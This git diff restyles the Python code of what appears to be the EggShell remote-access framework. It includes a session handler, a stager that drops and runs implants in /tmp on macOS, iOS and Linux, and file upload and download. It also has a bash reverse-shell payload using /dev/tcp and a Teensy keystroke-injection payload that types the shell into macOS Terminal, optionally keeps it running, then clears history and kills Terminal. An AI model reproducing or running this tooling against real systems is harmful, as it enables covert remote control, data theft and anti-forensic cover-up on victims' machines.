--- a/modules/multihandler.py
+++ b/modules/multihandler.py
@@ -1,154 +1,147 @@
-from modules import helper as h
-import threading, socket, time, sys
+import socket
+import sys
+import threading
+import time
-class MultiHandler:
- def __init__(self,server):
- self.server = server
- self.thread = None
- self.sessions_id = dict()
- self.sessions_uid = dict()
- self.handle = h.COLOR_INFO + "MultiHandler" + h.ENDC + "> "
- self.is_running = False
-
-
- def update_session(self,current_session,new_session):
- current_session.conn = new_session.conn
- current_session.username = new_session.username
- current_session.hostname = new_session.hostname
- current_session.type = new_session.type
- current_session.needs_refresh = False
- sys.stdout.write("\n"+current_session.get_handle())
- sys.stdout.flush()
-
-
- def background_listener(self):
- self.server.is_multi = True
- self.is_running = True
- id_number = 1
- while 1:
- if self.is_running:
- session = self.server.listen_for_stager()
- if session:
- if session.uid in self.sessions_uid.keys():
- if self.sessions_uid[session.uid].needs_refresh:
- self.update_session(self.sessions_uid[session.uid],session)
- continue
- else:
- self.sessions_uid[session.uid] = session
- self.sessions_id[id_number] = session
- session.id = id_number
- id_number += 1
- sys.stdout.write("\n{0}[*]{2} Session {1} opened{2}\n{3}".format(h.COLOR_INFO,str(session.id),h.WHITE,self.handle))
- sys.stdout.flush()
- else:
- return
-
-
- def start_background_server(self):
- self.thread = threading.Thread(target=self.background_listener)
- self.thread.setDaemon(False)
- self.thread.start()
-
-
- def close_all_sessions(self):
- h.info_general("Cleaning up...")
- for key in self.sessions_id.keys():
- session = self.sessions_id[key]
- session.disconnect(False)
-
-
- def show_session(self,session):
- try:
- print str(session.id) + " | " +\
- session.username + "@" + session.hostname + " | " + \
- str(session.conn.getpeername()[0])
- except Exception as e:
- h.info_error(str(e))
-
-
- def list_sessions(self):
- if not self.sessions_id:
- h.info_general("No active sessions")
- else:
- for key in self.sessions_id:
- self.show_session(self.sessions_id[key])
-
-
- def interact_with_session(self,session_number):
- if not session_number:
- print "Usage: interact (session number)"
- return
- try:
- self.sessions_id[int(session_number)].interact()
- except:
- h.info_error("Invalid Session")
-
-
- def close_session(self,session_number):
- if not session_number:
- print "Usage: close (session number)"
- return
- try:
- session = self.sessions_id[int(session_number)]
- session.disconnect(False)
- h.info_general('Closing session ' + session_number)
- except Exception as e:
- print e
- h.info_error("Invalid Session")
-
-
- def stop_server(self):
- self.close_all_sessions()
- self.is_running = False
- if self.thread:
- socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((self.server.host,self.server.port))
- self.thread.join()
- time.sleep(0.5)
-
-
- def show_command(self,name,description):
- print name + " " * (15 - len(name)) + ": " + description
-
-
- def show_commands(self):
- commands = [
- ("interact","interact with session"),
- ("close","close active session"),
- ("sessions","list sessions"),
- ("exit","close all sessions and exit to menu"),
- ]
- print h.WHITEBU+"MultiHandler Commands:"+h.ENDC
- for command in commands:
- self.show_command(command[0],command[1])
-
-
- def interact(self):
- h.info_general("Listening on port {0}...".format(self.server.port))
- h.info_general("Type \"help\" for commands")
- while 1:
- try:
- input_data = raw_input(self.handle)
- if not input_data:
- continue
- cmd = input_data.split()[0]
- args = input_data[len(cmd):].strip()
- if cmd == "interact":
- self.interact_with_session(args)
- elif cmd == "close":
- self.close_session(args)
- elif cmd == "sessions":
- self.list_sessions()
- elif cmd == "help":
- self.show_commands()
- elif cmd == "exit":
- self.stop_server()
- return
- else:
- h.info_error("Invalid Command: " + cmd)
-
- except KeyboardInterrupt:
- sys.stdout.write("\n")
- self.stop_server()
- return
+from modules import helper as h
+class MultiHandler:
+ def __init__(self, server):
+ self.server = server
+ self.thread = None
+ self.sessions_id = dict()
+ self.sessions_uid = dict()
+ self.handle = h.COLOR_INFO + "MultiHandler" + h.ENDC + "> "
+ self.is_running = False
+
+ def update_session(self, current_session, new_session):
+ current_session.conn = new_session.conn
+ current_session.username = new_session.username
+ current_session.hostname = new_session.hostname
+ current_session.type = new_session.type
+ current_session.needs_refresh = False
+ sys.stdout.write("\n" + current_session.get_handle())
+ sys.stdout.flush()
+
+ def background_listener(self):
+ self.server.is_multi = True
+ self.is_running = True
+ id_number = 1
+ while 1:
+ if self.is_running:
+ session = self.server.listen_for_stager()
+ if session:
+ if session.uid in self.sessions_uid.keys():
+ if self.sessions_uid[session.uid].needs_refresh:
+ self.update_session(
+ self.sessions_uid[session.uid], session)
+ continue
+ else:
+ self.sessions_uid[session.uid] = session
+ self.sessions_id[id_number] = session
+ session.id = id_number
+ id_number += 1
+ sys.stdout.write("\n{0}[*]{2} Session {1} opened{2}\n{3}".format(
+ h.COLOR_INFO, str(session.id), h.WHITE, self.handle))
+ sys.stdout.flush()
+ else:
+ return
+
+ def start_background_server(self):
+ self.thread = threading.Thread(target=self.background_listener)
+ self.thread.setDaemon(False)
+ self.thread.start()
+
+ def close_all_sessions(self):
+ h.info_general("Cleaning up...")
+ for key in self.sessions_id.keys():
+ session = self.sessions_id[key]
+ session.disconnect(False)
+
+ def show_session(self, session):
+ try:
+ print(str(session.id) + " | " + session.username + "@" +
+ session.hostname + " | " + str(session.conn.getpeername()[0]))
+ except Exception as e:
+ h.info_error(str(e))
+
+ def list_sessions(self):
+ if not self.sessions_id:
+ h.info_general("No active sessions")
+ else:
+ for key in self.sessions_id:
+ self.show_session(self.sessions_id[key])
+
+ def interact_with_session(self, session_number):
+ if not session_number:
+ print("Usage: interact (session number)")
+ return
+ try:
+ self.sessions_id[int(session_number)].interact()
+ except:
+ h.info_error("Invalid Session")
+
+ def close_session(self, session_number):
+ if not session_number:
+ print("Usage: close (session number)")
+ return
+ try:
+ session = self.sessions_id[int(session_number)]
+ session.disconnect(False)
+ h.info_general('Closing session ' + session_number)
+ except Exception as e:
+ print(str(e))
+ h.info_error("Invalid Session")
+
+ def stop_server(self):
+ self.close_all_sessions()
+ self.is_running = False
+ if self.thread:
+ socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect(
+ (self.server.host, self.server.port))
+ self.thread.join()
+ time.sleep(0.5)
+
+ def show_command(self, name, description):
+ print(name + " " * (15 - len(name)) + ": " + description)
+
+ def show_commands(self):
+ commands = [
+ ("interact", "interact with session"),
+ ("close", "close active session"),
+ ("sessions", "list sessions"),
+ ("exit", "close all sessions and exit to menu"),
+ ]
+ print(h.WHITEBU + "MultiHandler Commands:" + h.ENDC)
+ for command in commands:
+ self.show_command(command[0], command[1])
+
+ def interact(self):
+ h.info_general("Listening on port {0}...".format(self.server.port))
+ h.info_general("Type \"help\" for commands")
+ while 1:
+ try:
+ input_data = raw_input(self.handle)
+ if not input_data:
+ continue
+ cmd = input_data.split()[0]
+ args = input_data[len(cmd):].strip()
+ if cmd == "interact":
+ self.interact_with_session(args)
+ elif cmd == "close":
+ self.close_session(args)
+ elif cmd == "sessions":
+ self.list_sessions()
+ elif cmd == "help":
+ self.show_commands()
+ elif cmd == "exit":
+ self.stop_server()
+ return
+ else:
+ h.info_error("Invalid Command: " + cmd)
+
+ except KeyboardInterrupt:
+ sys.stdout.write("\n")
+ self.stop_server()
+ return
diff --git a/modules/payloads/bash_payload.py b/modules/payloads/bash_payload.py
index 2fce1f1..b4e9ea3 100644
--- a/modules/payloads/bash_payload.py
+++ b/modules/payloads/bash_payload.py
@@ -1,11 +1,14 @@
from modules import helper as h
+
+
class payload:
- def __init__(self):
- self.name = "bash"
- self.description = "creates a bash payload"
- self.usage = "run in terminal"
+ def __init__(self):
+ self.name = "bash"
+ self.description = "creates a bash payload"
+ self.usage = "run in terminal"
- def run(self,server):
- print h.WHITE + "-"*40 + h.ENDC
- print h.COLOR_INFO+"bash &> /dev/tcp/"+server.host+"/"+str(server.port)+" 0>&1"+h.ENDC
- print h.WHITE + "-"*40 + h.ENDC
+ def run(self, server):
+ print(h.WHITE + "-" * 40 + h.ENDC)
+ print(h.COLOR_INFO + "bash &> /dev/tcp/" + server.host +
+ "/" + str(server.port) + " 0>&1" + h.ENDC)
+ print(h.WHITE + "-" * 40 + h.ENDC)
diff --git a/modules/payloads/teensy_payload.py b/modules/payloads/teensy_payload.py
index 9f1eca4..79f4c5d 100644
--- a/modules/payloads/teensy_payload.py
+++ b/modules/payloads/teensy_payload.py
@@ -1,31 +1,37 @@
+import os
+import time
+
from modules import helper as h
-import os, time
+
class payload:
- def __init__(self):
- self.name = "Teensy macOS"
- self.description = "arduino payload that replicates keystrokes for shell script execution"
- self.usage = "install via arduino"
+ def __init__(self):
+ self.name = "Teensy macOS"
+ self.description = "arduino payload that replicates keystrokes for shell script execution"
+ self.usage = "install via arduino"
- def run(self,server):
- while 1:
- persistence = raw_input(h.info_general_raw("Make Persistent? (y/N): ")).lower()
- if persistence == "y":
- shell_command = "while true; do $(bash &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1); sleep 5; done & "
- break
- elif persistence == "n" or not persistence:
- shell_command = "bash &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1;"
- break
- else:
- h.info_error("invalid option: " + persistence)
+ def run(self, server):
+ while 1:
+ persistence = raw_input(h.info_general_raw(
+ "Make Persistent? (y/N): ")).lower()
+ if persistence == "y":
+ shell_command = "while true; do $(bash &> /dev/tcp/" + str(
+ server.host) + "/" + str(server.port) + " 0>&1); sleep 5; done & "
+ break
+ elif persistence == "n" or not persistence:
+ shell_command = "bash &> /dev/tcp/" + \
+ str(server.host) + "/" + str(server.port) + " 0>&1;"
+ break
+ else:
+ h.info_error("invalid option: " + persistence)
- shell_command += "history -wc;killall Terminal"
- if os.path.exists("payloads") == False:
- os.mkdir("payloads")
- if os.path.exists("payloads/teensy_macos") == False:
- os.mkdir("payloads/teensy_macos")
- payload_save_path = "payloads/teensy_macos/teensy_macos.ino"
- payload = """\
+ shell_command += "history -wc;killall Terminal"
+ if os.path.exists("payloads") == False:
+ os.mkdir("payloads")
+ if os.path.exists("payloads/teensy_macos") == False:
+ os.mkdir("payloads/teensy_macos")
+ payload_save_path = "payloads/teensy_macos/teensy_macos.ino"
+ payload = """\
#include "Keyboard.h"
const int LED = 13;
void setup() {
@@ -43,7 +49,7 @@ def run(self,server):
delay(1000);
keyEnter();
delay(1000);
- Keyboard.print(\""""+shell_command+"""\");
+ Keyboard.print(\"""" + shell_command + """\");
keyEnter();
}
@@ -61,9 +67,7 @@ def run(self,server):
digitalWrite(LED, LOW);
delay(100);
}"""
- f = open(payload_save_path,"w")
- f.write(payload)
- f.close()
- h.info_general("Payload saved to " + payload_save_path)
-
-
+ f = open(payload_save_path, "w")
+ f.write(payload)
+ f.close()
+ h.info_general("Payload saved to " + payload_save_path)
diff --git a/modules/server.py b/modules/server.py
index a980244..5a82610 100644
--- a/modules/server.py
+++ b/modules/server.py
@@ -1,17 +1,23 @@
-import socket, ssl, os, json, sys
+import binascii
+import json
+import os
+import socket
+import ssl
+import sys
+
import helper as h
import session
-import binascii
from multihandler import MultiHandler
downloads_dir = "../downloads"
+
class Server:
def __init__(self):
if not os.path.isdir("downloads"):
os.makedirs("downloads")
self.macos_architectures = ["i386"]
- self.ios_architectures = ["arm64","armv7s"]
+ self.ios_architectures = ["arm64", "armv7s"]
self.host = None
self.port = None
self.debug = False
@@ -19,11 +25,11 @@ def __init__(self):
self.modules_macos = self.import_modules("modules/commands/macOS")
self.modules_ios = self.import_modules("modules/commands/iOS")
self.modules_local = self.import_modules("modules/commands/local")
- self.modules_universal = self.import_modules("modules/commands/universal")
+ self.modules_universal = self.import_modules(
+ "modules/commands/universal")
self.multihandler = MultiHandler(self)
-
- def import_modules(self,path):
+ def import_modules(self, path):
sys.path.append(path)
modules = dict()
for mod in os.listdir(path):
@@ -31,39 +37,41 @@ def import_modules(self,path):
continue
else:
m = __import__(mod[:-3]).command()
- #add module info to dictionary
+ # add module info to dictionary
modules[m.name] = m
return modules
-
- def get_modules(self,device_type):
- if device_type == "macos":
+ def get_modules(self, device_type):
+ if device_type == "macos":
result = self.modules_macos
elif device_type == "iOS":
result = self.modules_ios
result.update(self.modules_universal)
return result
-
def set_host_port(self):
try:
lhost = h.getip()
lport = None
- choice = raw_input(h.info_general_raw("SET LHOST (Leave blank for "+lhost+")>"))
+ choice = raw_input(h.info_general_raw(
+ "SET LHOST (Leave blank for " + lhost + ")>"))
if choice != "":
lhost = choice
h.info_general("LHOST = " + lhost)
while True:
- lport = raw_input(h.info_general_raw("SET LPORT (Leave blank for 4444)>"))
+ lport = raw_input(h.info_general_raw(
+ "SET LPORT (Leave blank for 4444)>"))
if not lport:
lport = 4444
try:
lport = int(lport)
except ValueError:
- h.info_general("invalid port, please enter a valid integer")
+ h.info_general(
+ "invalid port, please enter a valid integer")
continue
if lport < 1024:
- h.info_general("invalid port, please enter a value >= 1024")
+ h.info_general(
+ "invalid port, please enter a value >= 1024")
continue
break
h.info_general("LPORT = " + str(lport))
@@ -73,86 +81,82 @@ def set_host_port(self):
except KeyboardInterrupt:
return
-
- def verbose_print(self,text):
+ def verbose_print(self, text):
if self.is_multi == False:
h.info_general(text)
-
- def debug_print(self,text):
+ def debug_print(self, text):
if self.debug:
h.info_warning(text)
-
def start_single_handler(self):
session = self.listen_for_stager()
if session:
session.interact()
-
def start_multi_handler(self):
self.multihandler.start_background_server()
self.multihandler.interact()
- print "end start multihandler"
+ print("end start multihandler")
-
- def craft_payload(self,device_arch):
+ def craft_payload(self, device_arch):
# TODO: Detect uid before we send executable
if not self.host:
raise ValueError('Server host not set')
if not self.port:
raise ValueError('Server port not set')
- payload_parameter = h.b64(json.dumps({"ip":self.host,"port":self.port,"debug":self.debug}))
+ payload_parameter = h.b64(json.dumps(
+ {"ip": self.host, "port": self.port, "debug": self.debug}))
if device_arch in self.macos_architectures:
self.verbose_print("Detected macOS")
f = open("resources/esplmacos", "rb")
payload = f.read()
f.close()
- #save to tmp,
+ # save to tmp,
instructions = \
- "cat >/private/tmp/tmpespl;"+\
- "chmod 777 /private/tmp/tmpespl;"+\
- "mv /private/tmp/tmpespl /private/tmp/espl;"+\
- "/private/tmp/espl "+payload_parameter+" 2>/dev/null &\n"
- return (instructions,payload)
+ "cat >/private/tmp/tmpespl;" +\
+ "chmod 777 /private/tmp/tmpespl;" +\
+ "mv /private/tmp/tmpespl /private/tmp/espl;" +\
+ "/private/tmp/espl " + payload_parameter + " 2>/dev/null &\n"
+ return (instructions, payload)
elif device_arch in self.ios_architectures:
self.verbose_print("Detected iOS")
f = open("resources/esplios", "rb")
payload = f.read()
f.close()
instructions = \
- "cat >/tmp/tmpespl;"+\
- "chmod 777 /tmp/tmpespl;"+\
- "mv /tmp/tmpespl /.espl;"+\
- "/.espl "+payload_parameter+" 2>/dev/null &\n"
- return (instructions,payload)
+ "cat >/tmp/tmpespl;" +\
+ "chmod 777 /tmp/tmpespl;" +\
+ "mv /tmp/tmpespl /.espl;" +\
+ "/.espl " + payload_parameter + " 2>/dev/null &\n"
+ return (instructions, payload)
else:
if device_arch == "Linux":
self.verbose_print("Detected Linux")
elif "GET / HTTP/1.1" in device_arch:
- raise ValueError("EggShell does not exploit safari, it is a payload creation tool.\nPlease look at the README.md file")
+ raise ValueError(
+ "EggShell does not exploit safari, it is a payload creation tool.\nPlease look at the README.md file")
else:
h.info_general("Device unrecognized, trying python payload")
f = open("resources/espl.py", "rb")
payload = f.read()
f.close()
instructions = \
- "cat >/tmp/espl.py;"+\
- "chmod 777 /var/tmp/espl.py;"+\
- "python /tmp/espl.py "+payload_parameter+" &\n"
- return (instructions,payload)
-
+ "cat >/tmp/espl.py;" +\
+ "chmod 777 /var/tmp/espl.py;" +\
+ "python /tmp/espl.py " + payload_parameter + " &\n"
+ return (instructions, payload)
def listen_for_stager(self):
- #craft shell script
+ # craft shell script
identification_shell_command = 'com=$(uname -p); if [ $com != "unknown" ]; then echo $com; else uname; fi\n'
-
- #listen for connection
+
+ # listen for connection
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', self.port))
s.listen(1)
- self.verbose_print("Listening on port "+str(self.port)+"...")
+ self.verbose_print("Listening on port " + str(self.port) + "...")
try:
conn, addr = s.accept()
except KeyboardInterrupt:
@@ -161,7 +165,7 @@ def listen_for_stager(self):
# identify device
hostAddress = addr[0]
- self.verbose_print("Connecting to "+hostAddress)
+ self.verbose_print("Connecting to " + hostAddress)
conn.send(identification_shell_command)
device_arch = conn.recv(128).strip()
if not device_arch:
@@ -193,26 +197,22 @@ def listen_for_stager(self):
h.info_error("Error: " + str(e))
return
-
- def listen_for_executable_payload(self,s):
+ def listen_for_executable_payload(self, s):
# accept connection
ssl_con, hostAddress = s.accept()
s.settimeout(5)
ssl_sock = ssl.wrap_socket(ssl_con,
- server_side=True,
- certfile=".keys/server.crt",
- keyfile=".keys/server.key",
- ssl_version=ssl.PROTOCOL_SSLv23)
+ server_side=True,
+ certfile=".keys/server.crt",
+ keyfile=".keys/server.key",
+ ssl_version=ssl.PROTOCOL_SSLv23)
raw = ssl_sock.recv(256)
device_info = json.loads(raw)
- return session.Session(self,ssl_sock,device_info)
-
+ return session.Session(self, ssl_sock, device_info)
- def update_session(self,old_session):
+ def update_session(self, old_session):
new_session = self.listen_for_stager()
old_session.conn = new_session.conn
old_session.hostname = new_session.hostname
old_session.username = new_session.username
old_session.type = new_session.type
-
-
diff --git a/modules/session.py b/modules/session.py
index a75a53c..a123453 100644
--- a/modules/session.py
+++ b/modules/session.py
@@ -1,240 +1,233 @@
-import json
-import threading
import base64
-import sys
-import time
import binascii
+import json
import os
+import sys
+import threading
+import time
+
import modules.helper as h
+
try:
- import readline
+ import readline
except:
- pass
-
-class Session:
- def __init__(self,server,conn,device_info):
- self.server = server
- self.conn = conn
- self.username = device_info['username'].encode("utf-8")
- self.hostname = device_info['hostname'].encode("utf-8")
- self.type = device_info['type']
- self.uid = device_info['uid']
- self.current_directory = device_info['current_directory'].encode("utf-8")
- self.last_tab = None
- self.needs_refresh = False
-
-
- def interact(self):
- """Interact with an active session"""
- readline.clear_history()
- readline.set_completer(self.tab_complete)
- readline.parse_and_bind('tab: complete')
-
- command_modules = self.server.get_modules(self.type)
- while 1:
- try:
- #prepare command
- raw = raw_input(self.get_handle())
- if not raw or raw.replace(" ","") == "":
- continue
- cmd = raw.split()[0]
- cmd_data = {"cmd": cmd, "args":raw[len(cmd) + 1:]}
-
- if self.needs_refresh:
- # don't do anything if we are in the middle of updating session
- pass
- elif cmd == "exit":
- self.disconnect(True)
- return
- elif cmd == "back" and self.server.is_multi:
- return
- elif cmd == "help":
- self.show_commands()
- elif cmd in command_modules.keys():
- command_modules[cmd].run(self,cmd_data)
- elif cmd in self.server.modules_local.keys():
- self.server.modules_local[cmd].run(self,cmd_data)
- else:
- try:
- result = self.send_command(cmd_data)
- if result:
- print result.rstrip()
- except KeyboardInterrupt:
- self.send_command({"cmd":"killtask"})
- except KeyboardInterrupt:
- try:
- print ""
- if readline.get_line_buffer():
- continue
- except:
- pass
- self.disconnect(True)
- return
- except Exception as e:
- print e
-
-
- def get_handle(self):
- """Interact with an active session"""
- if self.needs_refresh:
- return h.info_general_raw("Waiting for connection...")
- return h.GREEN + self.hostname + ":" + h.UNDERLINE_GREEN + self.current_directory + h.ENDC + " " + h.GREEN + self.username + "> " + h.ENDC
-
-
- def tab_complete(self, text, state):
- # TODO: tab complete 'ls ', use get_completer_delims
- try:
- is_double_tab = False
- current_text = readline.get_line_buffer()
- if self.last_tab and self.last_tab == current_text:
- is_double_tab = True
- self.last_tab = current_text
-
- # if no input do nothing
- if not current_text:
- return
- # get last input
- split_input = current_text.split()[-1]
-
- search_path = os.path.split(split_input)[0]
- search_text = os.path.split(split_input)[1]
- data = self.send_command({"cmd":"tab_complete","args":search_path if search_path else "."})
- results = json.loads(data)
-
- matched_keys = []
- if results:
- keys = results.keys()
- keys.sort()
- # append / if it is a directory
- for k in keys:
- # continue if no match
- if k.startswith(search_text):
- matched_keys.append(k)
-
- # edge cases
- if not matched_keys:
- # don't do anything if we have no matches
- return
- elif len(matched_keys) == 1:
- # if there is only 1 match and that match is a directory, append a '/'
- readline.insert_text(matched_keys[0][len(search_text):])
- if matched_keys[0] in results:
- if results[matched_keys[0]] == 4 or results[matched_keys[0]] == 10:
- readline.insert_text("/")
- readline.redisplay()
- return
- elif not is_double_tab:
- # lcp of multiple matched
- find = h.find_longest_common_prefix(matched_keys)
- readline.insert_text(find[len(search_text):])
- readline.redisplay()
- return
-
- print ""
- for k in matched_keys:
- if results[k] == 4:
- print h.COLOR_INFO + k + h.ENDC
- elif results[k] == 10:
- print h.COLOR_INFO + k + h.ENDC
- else:
- print k
- # back to where we are
- sys.stdout.write(self.get_handle() + current_text)
- except Exception as e:
- print "\n error - " + str(e)
-
-
- def show_commands(self):
- print h.WHITEBU+"Local Commands:"+h.ENDC
- names_local = self.server.modules_local.keys()
- names_local.sort()
- for key in names_local:
- h.show_command(self.server.modules_local[key])
-
- print "\n"+h.WHITEBU+"Device Commands:"+h.ENDC
- command_modules = self.server.get_modules(self.type)
- names = command_modules.keys()
- names.sort()
- for k in names:
- h.show_command(command_modules[k])
-
-
- def send_command(self,cmd_data):
- cmd_data["term"] = binascii.hexlify(os.urandom(8))
- self.sock_send(json.dumps(cmd_data))
- return self.sock_receive(cmd_data["term"])
-
-
- def download_file(self,path):
- raw = self.send_command({"cmd":"download","args":path})
- result = json.loads(raw)
- status = result['status']
- if status == 1:
- if 'size' in result:
- size = int(result['size'])
- return self.sock_receive_data(size)
- elif status == 0:
- print path + ": No such file or directory"
- elif status == 2:
- print path + " is a directory"
-
-
- def upload_file(self,file_path,remote_dir,remote_file_name):
- term = binascii.hexlify(os.urandom(16))
- if os.path.exists(file_path):
- f = open(file_path,"rb")
- data = f.read()
- size = len(data)
- name = os.path.split(file_path)[-1]
- cmd_data = json.dumps({"cmd":"upload","args":json.dumps({"size":size,"path":remote_dir,"filename":remote_file_name}),"term":term})
- self.sock_send(cmd_data)
- for i in range((size / 1024) + 1):
- deltax = i * 1024
- chunk = data[deltax:deltax + 1024]
- self.sock_send(chunk)
- self.sock_send(term)
- else:
- h.info_error("Local file: " + file_path + " does not exist")
-
-
- def sock_send(self,data):
- self.conn.send(data)
-
-
- def sock_receive(self,term):
- result = ""
- while 1:
- data = self.conn.recv(100).strip("\x00")
- has_term = term in data
- data = data.replace(term,"")
- if data != "":
- result += data
- if has_term:
- return result
-
-
- def sock_receive_data(self,size):
- term = binascii.hexlify(os.urandom(5))
- # here is the string son, hope you'll give it back
- self.sock_send(term)
- fdata = ""
- while 1:
- chunk = self.conn.recv(1024)
- if term in chunk:
- # thank you son
- chunk = chunk.replace(term,'')
- fdata += chunk
- return fdata[:size]
- fdata += chunk
-
-
- def disconnect(self,verbose):
- self.conn.close()
- if verbose:
- h.info_general("Closing session")
- time.sleep(0.5)
- if self.server.multihandler.is_running:
- del self.server.multihandler.sessions_id[self.id]
- del self.server.multihandler.sessions_uid[self.uid]
+ pass
+class Session:
+ def __init__(self, server, conn, device_info):
+ self.server = server
+ self.conn = conn
+ self.username = device_info['username'].encode("utf-8")
+ self.hostname = device_info['hostname'].encode("utf-8")
+ self.type = device_info['type']
+ self.uid = device_info['uid']
+ self.current_directory = device_info['current_directory'].encode(
+ "utf-8")
+ self.last_tab = None
+ self.needs_refresh = False
+
+ def interact(self):
+ """Interact with an active session"""
+ readline.clear_history()
+ readline.set_completer(self.tab_complete)
+ readline.parse_and_bind('tab: complete')
+
+ command_modules = self.server.get_modules(self.type)
+ while 1:
+ try:
+ # prepare command
+ raw = raw_input(self.get_handle())
+ if not raw or raw.replace(" ", "") == "":
+ continue
+ cmd = raw.split()[0]
+ cmd_data = {"cmd": cmd, "args": raw[len(cmd) + 1:]}
+
+ if self.needs_refresh:
+ # don't do anything if we are in the middle of updating session
+ pass
+ elif cmd == "exit":
+ self.disconnect(True)
+ return
+ elif cmd == "back" and self.server.is_multi:
+ return
+ elif cmd == "help":
+ self.show_commands()
+ elif cmd in command_modules.keys():
+ command_modules[cmd].run(self, cmd_data)
+ elif cmd in self.server.modules_local.keys():
+ self.server.modules_local[cmd].run(self, cmd_data)
+ else:
+ try:
+ result = self.send_command(cmd_data)
+ if result:
+ print(result.rstrip())
+ except KeyboardInterrupt:
+ self.send_command({"cmd": "killtask"})
+ except KeyboardInterrupt:
+ try:
+ print("")
+ if readline.get_line_buffer():
+ continue
+ except:
+ pass
+ self.disconnect(True)
+ return
+ except Exception as e:
+ print(str(e))
+
+ def get_handle(self):
+ """Interact with an active session"""
+ if self.needs_refresh:
+ return h.info_general_raw("Waiting for connection...")
+ return h.GREEN + self.hostname + ":" + h.UNDERLINE_GREEN + self.current_directory + h.ENDC + " " + h.GREEN + self.username + "> " + h.ENDC
+
+ def tab_complete(self, text, state):
+ # TODO: tab complete 'ls ', use get_completer_delims
+ try:
+ is_double_tab = False
+ current_text = readline.get_line_buffer()
+ if self.last_tab and self.last_tab == current_text:
+ is_double_tab = True
+ self.last_tab = current_text
+
+ # if no input do nothing
+ if not current_text:
+ return
+ # get last input
+ split_input = current_text.split()[-1]
+
+ search_path = os.path.split(split_input)[0]
+ search_text = os.path.split(split_input)[1]
+ data = self.send_command(
+ {"cmd": "tab_complete", "args": search_path if search_path else "."})
+ results = json.loads(data)
+
+ matched_keys = []
+ if results:
+ keys = results.keys()
+ keys.sort()
+ # append / if it is a directory
+ for k in keys:
+ # continue if no match
+ if k.startswith(search_text):
+ matched_keys.append(k)
+
+ # edge cases
+ if not matched_keys:
+ # don't do anything if we have no matches
+ return
+ elif len(matched_keys) == 1:
+ # if there is only 1 match and that match is a directory, append a '/'
+ readline.insert_text(matched_keys[0][len(search_text):])
+ if matched_keys[0] in results:
+ if results[matched_keys[0]] == 4 or results[matched_keys[0]] == 10:
+ readline.insert_text("/")
+ readline.redisplay()
+ return
+ elif not is_double_tab:
+ # lcp of multiple matched
+ find = h.find_longest_common_prefix(matched_keys)
+ readline.insert_text(find[len(search_text):])
+ readline.redisplay()
+ return
+
+ print("")
+ for k in matched_keys:
+ if results[k] == 4:
+ print(h.COLOR_INFO + k + h.ENDC)
+ elif results[k] == 10:
+ print(h.COLOR_INFO + k + h.ENDC)
+ else:
+ print(k)
+ # back to where we are
+ sys.stdout.write(self.get_handle() + current_text)
+ except Exception as e:
+ print(str(e))
+
+ def show_commands(self):
+ print(h.WHITEBU + "Local Commands:" + h.ENDC)
+ names_local = self.server.modules_local.keys()
+ names_local.sort()
+ for key in names_local:
+ h.show_command(self.server.modules_local[key])
+
+ print("\n" + h.WHITEBU + "Device Commands:" + h.ENDC)
+ command_modules = self.server.get_modules(self.type)
+ names = command_modules.keys()
+ names.sort()
+ for k in names:
+ h.show_command(command_modules[k])
+
+ def send_command(self, cmd_data):
+ cmd_data["term"] = binascii.hexlify(os.urandom(8))
+ self.sock_send(json.dumps(cmd_data))
+ return self.sock_receive(cmd_data["term"])
+
+ def download_file(self, path):
+ raw = self.send_command({"cmd": "download", "args": path})
+ result = json.loads(raw)
+ status = result['status']
+ if status == 1:
+ if 'size' in result:
+ size = int(result['size'])
+ return self.sock_receive_data(size)
+ elif status == 0:
+ print(path + ": No such file or directory")
+ elif status == 2:
+ print(path + " is a directory")
+
+ def upload_file(self, file_path, remote_dir, remote_file_name):
+ term = binascii.hexlify(os.urandom(16))
+ if os.path.exists(file_path):
+ f = open(file_path, "rb")
+ data = f.read()
+ size = len(data)
+ name = os.path.split(file_path)[-1]
+ cmd_data = json.dumps({"cmd": "upload", "args": json.dumps(
+ {"size": size, "path": remote_dir, "filename": remote_file_name}), "term": term})
+ self.sock_send(cmd_data)
+ for i in range((size / 1024) + 1):
+ deltax = i * 1024
+ chunk = data[deltax:deltax + 1024]
+ self.sock_send(chunk)
+ self.sock_send(term)
+ else:
+ h.info_error("Local file: " + file_path + " does not exist")
+
+ def sock_send(self, data):
+ self.conn.send(data)
+
+ def sock_receive(self, term):
+ result = ""
+ while 1:
+ data = self.conn.recv(100).strip("\x00")
+ has_term = term in data
+ data = data.replace(term, "")
+ if data != "":
+ result += data
+ if has_term:
+ return result
+
+ def sock_receive_data(self, size):
+ term = binascii.hexlify(os.urandom(5))
+ # here is the string son, hope you'll give it back
+ self.sock_send(term)
+ fdata = ""
+ while 1:
+ chunk = self.conn.recv(1024)
+ if term in chunk:
+ # thank you son
+ chunk = chunk.replace(term, '')
+ fdata += chunk
+ return fdata[:size]
+ fdata += chunk
+
+ def disconnect(self, verbose):
+ self.conn.close()
+ if verbose:
+ h.info_general("Closing session")
+ time.sleep(0.5)
+ if self.server.multihandler.is_running:
+ del self.server.multihandler.sessions_id[self.id]
+ del self.server.multihandler.sessions_uid[self.uid]
diff --git a/resources/espl.py b/resources/espl.py
index 52d9dd6..765668f 100644
--- a/resources/espl.py
+++ b/resources/espl.py
@@ -1,7 +1,15 @@
#!/usr/bin/python
-from uuid import getnode as get_mac
-import json, os, base64, sys, socket, ssl, getpass, subprocess
+import base64
+import getpass
+import json
+import os
+import socket
+import ssl
+import subprocess
+import sys
from os.path import expanduser
+from uuid import getnode as get_mac
+
home = expanduser("~")
os.chdir(home)
# setup
@@ -14,165 +22,165 @@
# Send computer name
username = getpass.getuser()
sock.send(json.dumps({
- "username":username,
- "hostname":socket.gethostname(),
- "uid": str(get_mac()),
- "current_directory": os.getcwd(),
- "type": "linux"
+ "username": username,
+ "hostname": socket.gethostname(),
+ "uid": str(get_mac()),
+ "current_directory": os.getcwd(),
+ "type": "linux"
}))
def change_dir(cmd_data):
- path = cmd_data['args']
- try:
- result = dict()
- if not path:
- os.chdir(home)
- elif os.path.exists(path) == False:
- result = {'error':path + ": No such file or directory"}
- elif os.path.isdir(path) == False:
- result = {'error':path + ": Is a file"}
- else:
- os.chdir(path)
- if not 'error' in result:
- result['current_directory'] = os.getcwd()
- except Exception as e:
- result = {'error':str(e)}
- sock.send(json.dumps(result))
